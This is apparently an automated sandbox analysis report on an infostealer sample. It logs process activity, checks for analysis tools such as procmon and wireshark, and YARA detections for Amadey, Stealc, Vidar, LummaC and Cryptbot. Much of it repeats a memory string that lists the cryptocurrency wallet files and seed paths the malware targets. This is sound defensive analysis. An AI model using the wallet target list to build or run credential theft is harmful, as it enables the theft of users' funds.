Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB335A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CB335A0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC68390 NSS_GetVersion,

0_2_6CC68390

Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 18.2.skotes.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.skotes.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.skotes.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.GCGHCBKFCF.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.2073320644.0000000000871000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2113502569.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2113093555.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2030270292.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3965228460.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2073054703.0000000005510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2475153902.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2072651277.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2035943037.000000000103E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2034821109.0000000000561000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1492348705.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 764, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 